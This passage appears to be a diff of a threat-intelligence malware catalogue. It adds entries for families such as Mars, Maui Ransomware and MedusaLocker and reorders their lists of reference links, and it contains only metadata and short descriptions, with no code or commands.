SHACAL-2 encryption algorithm.", "meta": { @@ -28328,9 +29703,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.marap", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", + "https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-prepare-more-part-1-marap", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-prepare-more-part-1-marap" + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf" ], "synonyms": [], "type": [] @@ -28370,23 +29745,43 @@ "uuid": "c19ac191-a881-437f-ae82-7bec174590cb", "value": "MarkiRAT" }, + { + "description": "Ransomware written in Delphi.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.mars", + "https://id-ransomware.blogspot.com/2020/10/mars-ransomware.html" + ], + "synonyms": [ + "MarsDecrypt" + ], + "type": [] + }, + "uuid": "0b71ab98-912a-47a5-a1e0-1d7bd4fe9a4e", + "value": "Mars" + }, { "description": "3xp0rt describes Mars Stealer as an improved successor of Oski Stealer, supporting stealing from current browsers and targeting crypto currencies and 2FA plugins.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mars_stealer", - "https://www.microsoft.com/security/blog/2022/05/17/in-hot-pursuit-of-cryware-defending-hot-wallets-from-attacks/", - "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-mars-stealer", - "https://blog.sekoia.io/mars-a-red-hot-information-stealer/", - "https://cyberint.com/blog/research/mars-stealer/", - "https://www.esentire.com/blog/fake-chrome-setup-leads-to-netsupportmanager-rat-and-mars-stealer", "https://x-junior.github.io/malware%20analysis/MarsStealer/", - "https://cert.gov.ua/article/38606", "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", "https://www.bleepingcomputer.com/news/security/new-meta-information-stealer-distributed-in-malspam-campaign/", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf", + "https://cert.gov.ua/article/38606", "https://3xp0rt.com/posts/mars-stealer", + "https://www.esentire.com/blog/fake-chrome-setup-leads-to-netsupportmanager-rat-and-mars-stealer", + "https://www.microsoft.com/security/blog/2022/05/17/in-hot-pursuit-of-cryware-defending-hot-wallets-from-attacks/", + "https://cyberint.com/blog/research/mars-stealer/", + "https://isc.sans.edu/diary/rss/28468", + "https://ke-la.com/information-stealers-a-new-landscape/", + "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-mars-stealer", "https://blog.morphisec.com/threat-research-mars-stealer", - "https://isc.sans.edu/diary/rss/28468" + "https://blog.sekoia.io/mars-a-red-hot-information-stealer/", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://resources.infosecinstitute.com/topic/mars-stealer-malware-analysis/", + "https://blog.cyble.com/2022/08/02/fake-atomic-wallet-website-distributing-mars-stealer/" ], "synonyms": [], "type": [] @@ -28412,16 +29807,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.masslogger", - "https://fr3d.hk/blog/masslogger-frankenstein-s-creation", - "https://medium.com/@mariohenkel/decrypt-masslogger-2-4-0-0-configuration-eff3ee0720a7", + "https://www.gdatasoftware.com/blog/2020/06/36129-harmful-logging-diving-into-masslogger", "https://blog.talosintelligence.com/2021/02/masslogger-cred-exfil.html", + "https://www.seqrite.com/blog/masslogger-an-emerging-spyware-and-keylogger/", + "https://medium.com/@mariohenkel/decrypt-masslogger-2-4-0-0-configuration-eff3ee0720a7", + "https://maxkersten.nl/binary-analysis-course/malware-analysis/rezer0v4-loader/", + "https://www.fireeye.com/blog/threat-research/2020/08/bypassing-masslogger-anti-analysis-man-in-the-middle-approach.html", + "https://twitter.com/pancak3lullz/status/1255893734241304576", "https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html", "https://decoded.avast.io/anhho/masslogger-v3-a-net-stealer-with-serious-obfuscation/", - "https://maxkersten.nl/binary-analysis-course/malware-analysis/rezer0v4-loader/", - "https://www.gdatasoftware.com/blog/2020/06/36129-harmful-logging-diving-into-masslogger", - "https://www.seqrite.com/blog/masslogger-an-emerging-spyware-and-keylogger/", - "https://www.fireeye.com/blog/threat-research/2020/08/bypassing-masslogger-anti-analysis-man-in-the-middle-approach.html", - "https://twitter.com/pancak3lullz/status/1255893734241304576" + "https://fr3d.hk/blog/masslogger-frankenstein-s-creation" ], "synonyms": [], "type": [] @@ -28434,12 +29829,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.matanbuchus", - "https://medium.com/@DCSO_CyTec/a-deal-with-the-devil-analysis-of-a-recent-matanbuchus-sample-3ce991951d6a", - "https://unit42.paloaltonetworks.com/matanbuchus-malware-as-a-service/", + "https://blog.cyble.com/2022/06/23/matanbuchus-loader-resurfaces/", "https://research.openanalysis.net/matanbuchus/loader/yara/triage/dumpulator/emulation/2022/06/19/matanbuchus-triage.html", + "https://medium.com/@DCSO_CyTec/a-deal-with-the-devil-analysis-of-a-recent-matanbuchus-sample-3ce991951d6a", + "https://www.0ffset.net/reverse-engineering/matanbuchus-loader-analysis/", + "https://unit42.paloaltonetworks.com/matanbuchus-malware-as-a-service/", "https://isc.sans.edu/diary/rss/28752", - "https://r136a1.info/2022/05/25/introduction-of-a-pe-file-extractor-for-various-situations/", - "https://www.0ffset.net/reverse-engineering/matanbuchus-loader-analysis/" + "https://r136a1.info/2022/05/25/introduction-of-a-pe-file-extractor-for-various-situations/" ], "synonyms": [], "type": [] @@ -28478,12 +29874,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.matrix_ransom", - "https://unit42.paloaltonetworks.com/matrix-ransomware/", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", - "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophoslabs-matrix-report.pdf", - "https://news.sophos.com/en-us/2019/01/30/matrix-targeted-small-scale-canary-in-the-coal-mine-ransomware/", "https://www.blackhoodie.re/assets/archive/Matrix_Ransomware_blackhoodie.pdf", - "https://blogs.blackberry.com/en/2018/11/threat-spotlight-inside-vssdestroy-ransomware" + "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophoslabs-matrix-report.pdf", + "https://unit42.paloaltonetworks.com/matrix-ransomware/", + "https://blogs.blackberry.com/en/2018/11/threat-spotlight-inside-vssdestroy-ransomware", + "https://news.sophos.com/en-us/2019/01/30/matrix-targeted-small-scale-canary-in-the-coal-mine-ransomware/", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf" ], "synonyms": [], "type": [] @@ -28496,8 +29892,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.matryoshka_rat", - "http://www.clearskysec.com/tulip/", - "https://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + "https://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf", + "http://www.clearskysec.com/tulip/" ], "synonyms": [], "type": [] @@ -28532,6 +29928,22 @@ "uuid": "feb5ac55-7b28-47aa-9e9e-5007d838c0d5", "value": "Maudi" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.maui", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-187a", + "https://securelist.com/andariel-deploys-dtrack-and-maui-ransomware/107063/", + "https://www.cisa.gov/uscert/sites/default/files/publications/aa22-187a-north-korean%20state-sponsored-cyber-actors-use-maui-ransomware-to-target-the-hph-sector.pdf", + "https://stairwell.com/wp-content/uploads/2022/07/Stairwell-Threat-Report-Maui-Ransomware.pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "0a531358-f943-40f9-a41d-e5e7944a9619", + "value": "Maui Ransomware" + }, { "description": "Banking trojan written in Delphi, targeting customers of European and South American banks.", "meta": { @@ -28550,114 +29962,115 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.maze", - "https://www.bleepingcomputer.com/news/security/data-leak-marketplaces-aim-to-take-over-the-extortion-economy/", - "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.docdroid.net/dUpPY5s/maze.pdf", - "https://blog.redteam.pl/2020/05/sodinokibi-revil-ransomware.html", - "https://www.zdnet.com/article/ransomware-gang-publishes-tens-of-gbs-of-internal-data-from-lg-and-xerox/", - "https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html", - "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-007/", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/", - "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", - "https://news.sophos.com/en-us/2020/12/08/egregor-ransomware-mazes-heir-apparent/", - "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", - "https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/", - "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/escape-from-the-maze/", - "https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://blog.talosintelligence.com/2019/12/IR-Lessons-Maze.html", - "https://www.zataz.com/cyber-attaque-a-lencontre-des-serveurs-de-bouygues-construction/", - "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", - "https://download.bitdefender.com/resources/files/News/CaseStudies/study/318/Bitdefender-TRR-Whitepaper-Maze-creat4351-en-EN-GenericUse.pdf", - "https://www.cityofpensacola.com/DocumentCenter/View/18879/Deloitte-Executive-Summary-PDF", - "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", - "https://securelist.com/targeted-ransomware-encrypting-data/99255/", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://securelist.com/maze-ransomware/99137/", - "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", - "https://www.bleepingcomputer.com/news/security/maze-ransomware-is-shutting-down-its-cybercrime-operation/", - "https://github.com/albertzsigovits/malware-notes/blob/master/Maze.md", - "https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/", - "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/", - "https://sites.temple.edu/care/ci-rw-attacks/", - "https://www.secureworks.com/research/threat-profiles/gold-village", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", - "https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", - "https://www.bleepingcomputer.com/news/security/maze-ransomware-behind-pensacola-cyberattack-1m-ransom-demand/", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-2/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.bleepingcomputer.com/news/security/ransomware-attackers-use-your-cloud-backups-against-you/", - "https://www.bleepingcomputer.com/news/security/chipmaker-maxlinear-reports-data-breach-after-maze-ransomware-attack/", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/", - "https://www.bitdefender.com/files/News/CaseStudies/study/377/Bitdefender-Whitepaper-WMI-creat4871-en-EN-GenericUse.pdf", - "https://statescoop.com/baltimore-ransomware-crowdstrike-extortion/", - "https://twitter.com/certbund/status/1192756294307995655", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/543/original/CTIR_casestudy_1.pdf", - "https://oag.ca.gov/system/files/Letter%204.pdf", - "https://blogs.quickheal.com/maze-ransomware-continues-threat-consumers/", - "https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker", - "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", - "https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html", - "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", - "https://www.bleepingcomputer.com/news/security/crytek-confirms-egregor-ransomware-attack-customer-data-theft/", - "https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/", - "https://www.bleepingcomputer.com/news/security/it-services-giant-cognizant-suffers-maze-ransomware-cyber-attack/", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", - "https://github.com/albertzsigovits/malware-notes/blob/master/Ransomware/Maze.md", - "https://techcrunch.com/2020/03/26/chubb-insurance-breach-ransomware/", - "https://news.sophos.com/en-us/2020/05/12/maze-ransomware-1-year-counting/", - "https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer", - "https://www.crowdstrike.com/blog/maze-ransomware-deobfuscation/", "https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/", - "https://krebsonsecurity.com/2019/12/ransomware-gangs-now-outing-victim-businesses-that-dont-pay-up/", - "https://www.bleepingcomputer.com/news/security/ransomware-dev-releases-egregor-maze-master-decryption-keys/", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://blog.minerva-labs.com/egregor-ransomware-an-in-depth-analysis", - "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", - "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", - "https://www.bleepingcomputer.com/news/security/maze-ransomware-now-delivered-by-spelevo-exploit-kit/", - "https://killbit.medium.com/applying-the-diamond-model-to-cognizant-msp-and-maze-ransomware-and-a-policy-assessment-498f01bd723f", - "https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide", - "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://nakedsecurity.sophos.com/2020/06/04/nuclear-missile-contractor-hacked-in-maze-ransomware-attack/", - "https://adversary.crowdstrike.com/adversary/twisted-spider/", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://web.archive.org/save/https://news.cognizant.com/2020-04-18-cognizant-security-update", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks-part-ii/", - "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", - "https://www.bleepingcomputer.com/news/security/maze-ransomware-releases-files-stolen-from-city-of-pensacola/", - "https://media-exp1.licdn.com/dms/document/C4E1FAQHyhJYCWxq5eg/feedshare-document-pdf-analyzed/0?e=1584129600&v=beta&t=9wTDR-mZPDF4ET7ABNgE2ab9g8e9wxQrhXsxI1cSX8U", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-2/", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://news.sophos.com/en-us/2020/05/12/maze-ransomware-1-year-counting/", + "https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/", + "https://github.com/albertzsigovits/malware-notes/blob/master/Ransomware/Maze.md", "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", - "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", - "https://labs.sentinelone.com/case-study-catching-a-human-operated-maze-ransomware-attack-in-action/", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", - "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", - "https://www.proofpoint.com/us/threat-insight/post/ta2101-plays-government-imposter-distribute-malware-german-italian-and-us", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", - "https://www.bleepingcomputer.com/news/security/allied-universal-breached-by-maze-ransomware-stolen-data-leaked/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", - "https://www.bleepingcomputer.com/news/security/maze-ransomware-now-encrypts-via-virtual-machines-to-evade-detection/", - "https://www.telsy.com/wp-content/uploads/Maze_Vaccine.pdf", - "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", - "https://www.brighttalk.com/webcast/7451/408167/navigating-maze-analysis-of-a-rising-ransomware-threat", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", - "http://www.secureworks.com/research/threat-profiles/gold-village", - "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", - "https://id-ransomware.blogspot.com/2019/05/chacha-ransomware.html", + "https://www.secureworks.com/research/threat-profiles/gold-village", + "https://statescoop.com/baltimore-ransomware-crowdstrike-extortion/", + "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks-part-ii/", + "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/", + "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://web.archive.org/save/https://news.cognizant.com/2020-04-18-cognizant-security-update", + "https://www.bitdefender.com/files/News/CaseStudies/study/377/Bitdefender-Whitepaper-WMI-creat4871-en-EN-GenericUse.pdf", + "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", "https://www.trendmicro.com/en_us/research/20/l/the-impact-of-modern-ransomware-on-manufacturing-networks.html", + "https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer", + "https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/543/original/CTIR_casestudy_1.pdf", + "https://labs.sentinelone.com/case-study-catching-a-human-operated-maze-ransomware-attack-in-action/", + "https://www.zdnet.com/article/ransomware-gang-publishes-tens-of-gbs-of-internal-data-from-lg-and-xerox/", + "https://blogs.quickheal.com/maze-ransomware-continues-threat-consumers/", + "https://securelist.com/targeted-ransomware-encrypting-data/99255/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", + "https://download.bitdefender.com/resources/files/News/CaseStudies/study/318/Bitdefender-TRR-Whitepaper-Maze-creat4351-en-EN-GenericUse.pdf", + "https://killbit.medium.com/applying-the-diamond-model-to-cognizant-msp-and-maze-ransomware-and-a-policy-assessment-498f01bd723f", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://sites.temple.edu/care/ci-rw-attacks/", + "https://www.bleepingcomputer.com/news/security/data-leak-marketplaces-aim-to-take-over-the-extortion-economy/", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "https://www.bleepingcomputer.com/news/security/maze-ransomware-now-delivered-by-spelevo-exploit-kit/", + "https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html", + "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", + "https://www.bleepingcomputer.com/news/security/maze-ransomware-now-encrypts-via-virtual-machines-to-evade-detection/", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/", + "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", + "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", + "https://blog.talosintelligence.com/2019/12/IR-Lessons-Maze.html", + "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", + "https://www.bleepingcomputer.com/news/security/maze-ransomware-is-shutting-down-its-cybercrime-operation/", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/", + "https://media-exp1.licdn.com/dms/document/C4E1FAQHyhJYCWxq5eg/feedshare-document-pdf-analyzed/0?e=1584129600&v=beta&t=9wTDR-mZPDF4ET7ABNgE2ab9g8e9wxQrhXsxI1cSX8U", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + "https://adversary.crowdstrike.com/adversary/twisted-spider/", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", + "https://www.bleepingcomputer.com/news/security/allied-universal-breached-by-maze-ransomware-stolen-data-leaked/", + "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html", + "https://www.bleepingcomputer.com/news/security/it-services-giant-cognizant-suffers-maze-ransomware-cyber-attack/", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html", + "https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot", + "https://krebsonsecurity.com/2019/12/ransomware-gangs-now-outing-victim-businesses-that-dont-pay-up/", + "https://www.cityofpensacola.com/DocumentCenter/View/18879/Deloitte-Executive-Summary-PDF", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://twitter.com/certbund/status/1192756294307995655", + "https://oag.ca.gov/system/files/Letter%204.pdf", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://www.telsy.com/wp-content/uploads/Maze_Vaccine.pdf", + "https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/", + "http://www.secureworks.com/research/threat-profiles/gold-village", + "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", + "https://www.docdroid.net/dUpPY5s/maze.pdf", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://securelist.com/maze-ransomware/99137/", + "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", + "https://id-ransomware.blogspot.com/2019/05/chacha-ransomware.html", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://www.bleepingcomputer.com/news/security/crytek-confirms-egregor-ransomware-attack-customer-data-theft/", + "https://github.com/albertzsigovits/malware-notes/blob/master/Maze.md", + "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", + "https://www.bleepingcomputer.com/news/security/chipmaker-maxlinear-reports-data-breach-after-maze-ransomware-attack/", + "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/escape-from-the-maze/", + "https://www.brighttalk.com/webcast/7451/408167/navigating-maze-analysis-of-a-rising-ransomware-threat", + "https://blog.minerva-labs.com/egregor-ransomware-an-in-depth-analysis", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", + "https://blog.redteam.pl/2020/05/sodinokibi-revil-ransomware.html", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://www.bleepingcomputer.com/news/security/ransomware-dev-releases-egregor-maze-master-decryption-keys/", + "https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide", + "https://www.bleepingcomputer.com/news/security/maze-ransomware-behind-pensacola-cyberattack-1m-ransom-demand/", + "https://techcrunch.com/2020/03/26/chubb-insurance-breach-ransomware/", + "https://www.bleepingcomputer.com/news/security/maze-ransomware-releases-files-stolen-from-city-of-pensacola/", + "https://news.sophos.com/en-us/2020/09/22/mtr-casebook-blocking-a-15-million-maze-ransomware-attack/", + "https://www.zataz.com/cyber-attaque-a-lencontre-des-serveurs-de-bouygues-construction/", + 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"https://www.proofpoint.com/us/threat-insight/post/ta2101-plays-government-imposter-distribute-malware-german-italian-and-us", + "https://nakedsecurity.sophos.com/2020/06/04/nuclear-missile-contractor-hacked-in-maze-ransomware-attack/" ], "synonyms": [ "ChaCha" @@ -28673,9 +30086,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mbrlock", "http://id-ransomware.blogspot.com.tr/2018/02/mbrlock-hax-ransomware.html", + "https://app.any.run/tasks/0a7e643f-7562-4575-b8a5-747bd6b5f02d", "https://www.bleepingcomputer.com/news/security/dexcrypt-mbrlocker-demands-30-yuan-to-gain-access-to-computer/", - "https://www.hybrid-analysis.com/sample/dfc56a704b5e031f3b0d2d0ea1d06f9157758ad950483b44ac4b77d33293cb38?environmentId=100", - "https://app.any.run/tasks/0a7e643f-7562-4575-b8a5-747bd6b5f02d" + "https://www.hybrid-analysis.com/sample/dfc56a704b5e031f3b0d2d0ea1d06f9157758ad950483b44ac4b77d33293cb38?environmentId=100" ], "synonyms": [ "DexLocker" @@ -28705,8 +30118,8 @@ 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"https://zerophagemalware.com/2017/10/13/rig-ek-via-malvertising-drops-a-miner/", "https://news.drweb.com/show/?i=10302&lng=en" ], "synonyms": [], @@ -28766,27 +30179,30 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.medusalocker", - "http://id-ransomware.blogspot.com/2019/10/medusalocker-ransomware.html", - "https://blog.talosintelligence.com/2020/04/medusalocker.html", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", - "https://twitter.com/siri_urz/status/1215194488714346496?s=20", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", - "https://www.carbonblack.com/2020/06/03/tau-threat-analyis-medusa-locker-ransomware/", - "https://www.mandiant.com/resources/chasing-avaddon-ransomware", - "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", - 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malware capable of accessing sensitive information stored in devices running ORACLE MICROS Restaurant Enterprise Series (RES) 3700 POS – a management software suite used by hundreds of thousands of bars, restaurants, hotels and other hospitality establishments worldwide. ModPipe uses modular architecture consisting of basic components and downloadable modules. One of them – named GetMicInfo – contains an algorithm designed to gather database passwords by decrypting them from Windows registry values. Exfiltrated credentials allow ModPipe's operators access to database contents, including various definitions and configuration, 